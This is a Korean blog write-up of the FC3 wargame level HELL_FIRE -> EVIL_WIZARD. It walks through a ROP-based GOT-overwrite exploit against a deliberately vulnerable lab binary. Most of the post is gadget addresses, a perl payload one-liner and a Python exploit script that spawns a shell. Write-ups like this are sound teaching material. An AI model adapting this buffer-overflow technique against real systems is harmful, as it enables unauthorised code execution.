본문 바로가기
Wargame(CTF)

[FC3] HELL_FIRE -> EVIL_WIZARD

by Hide­ 2015. 3. 31.
반응형

먼저 소스를 확인해본다.

(ROP 기법을 사용할 때 필요한 가젯등의 재료들을 모으는 부분을 중점적으로 설명한다.)


구버전 gcc에는 ppr가젯이 없으므로 ppr 가젯을 임의로 넣어뒀고 down privilege 때문에 setreuid/gid를 넣어뒀다.

sfp를 미리 저장해놓고 종료직전 다시 덮어준다. 그리고 RET Sled를 막기위한 부분도 존재한다.

맨 위 주석으로 GOT Overwriting 이라고 명시되어있으므로 해당 기법을 사용해서 문제를 풀어보자.

먼저 시나리오는 다음과같다.

strcpy@plt를 이용하여 print@got를 system함수의 주소로 한바이트씩 덮는다. 그리고 print@plt를 호출하여

system함수를 실행시킬것이다. 고로 필요한 가젯등을 종합해보면


1. pop pop ret gadget

2. printf@plt

3. printf@got

4. system addr

5. /bin/sh addr

이며 이를 바탕으로 페이로드를 구성해보자면 아래와 같다.


Buffer(268) + strcpy@plt + ppr + print@got[0] + system's addr[0]

strcpy@plt + ppr + print@got[1] + system's addr[1]

+ strcpy@plt + ppr + print@got[2] + system's addr[2]

+ strcpy@plt + ppr + print@got[3] + system's addr[3]

+ print@plt + aaaa + "/bin/sh"


먼저 페이로드에 필요한것들을 하나씩 구해본다.


ppr = 0x0804854f


strcpy@plt = 0x08048494 (objdump -d evil_wizard | grep strcpy)


printf@plt = 0x08048424

파일소스를 보면 맨 printf가 제일 끝부분에서 쓰이기때문에 맨 끝 call이 printf 이다. file 을 통해 바이너리를 살펴

봤을때는 not stripped 상태였는데 왜 심볼들이 제대로 안보이는건지 잘 모르겠다.


printf@got = 0x08049884


system = 0x007507c0 (p system)


/bin/sh = 0x00833603


system 함수주소(0x007507c0) 한바이트씩

(해당바이트 하나만 복사하기위해서 뒤에 00이 존재하는 부분을 찾아야한다.)


1. c0 = 0x08048420


2. 07 = 0x08048154


3. 75 = 0x08048303


4. 00 = 0x08049860


필요한것들을 모두 찾았다. 이제 위에 적어놓은 페이로드에 끼워맞추기만하면 된다.


Buffer(268) + strcpy@plt + ppr + print@got[0] + system's addr[0]

strcpy@plt + ppr + print@got[1] + system's addr[1]

+ strcpy@plt + ppr + print@got[2] + system's addr[2]

+ strcpy@plt + ppr + print@got[3] + system's addr[3]

+ print@plt + aaaa + "/bin/sh"


=>


./evil_wizard "`perl -e 'print "a"x268,

"\x94\x84\x04\x08","\x4f\x85\x04\x08","\x84\x98\x04\x08","\x20\x84\x04\x08",

"\x94\x84\x04\x08","\x4f\x85\x04\x08","\x85\x98\x04\x08","\x54\x81\x04\x08",

"\x94\x84\x04\x08","\x4f\x85\x04\x08","\x86\x98\x04\x08","\x03\x83\x04\x08",

"\x94\x84\x04\x08","\x4f\x85\x04\x08","\x87\x98\x04\x08","\x60\x98\x04\x08",

"\x24\x84\x04\x08","aaaa","\x03\x36\x83\x00"'`"

(\x20이 공백이므로 ""로 한번 더 묶어줬다.)




get down like that


[Exploit]

from struct import *


p = lambda x: pack("<L", x)


ppr = 0x0804854f

strcpyplt = 0x08048494

printfplt = 0x08048424

printfgot = 0x08049884

system1 = 0x08048420

system2 = 0x08048154

system3 = 0x08048303

system4 = 0x08049860

binsh = 0x833603


payload = ""

payload += "a"*268

payload += p(strcpyplt)

payload += p(ppr)

payload += p(printfgot)

payload += p(system1)

payload += p(strcpyplt)

payload += p(ppr)

payload += p(printfgot+1)

payload += p(system2)

payload += p(strcpyplt)

payload += p(ppr)

payload += p(printfgot+2)

payload += p(system3)

payload += p(strcpyplt)

payload += p(ppr)

payload += p(printfgot+3)

payload += p(system4)

payload += p(printfplt)

payload += "a"*4

payload += p(binsh)


print payload



./evil_wizard "`python exploit.py`"


'Wargame(CTF)' 카테고리의 다른 글

flag  (0) 2015.08.06
[2014 Holyshield] Write up  (0) 2015.05.26
[2015 Codegate] Owlur (Web 200) 부엉이  (0) 2015.03.17
Level18. SUCCUBUS -> NIGHTMARE  (0) 2015.02.18
Level17. ZOMBIE_ASSASSIN -> SUCCUBUS  (0) 2015.02.18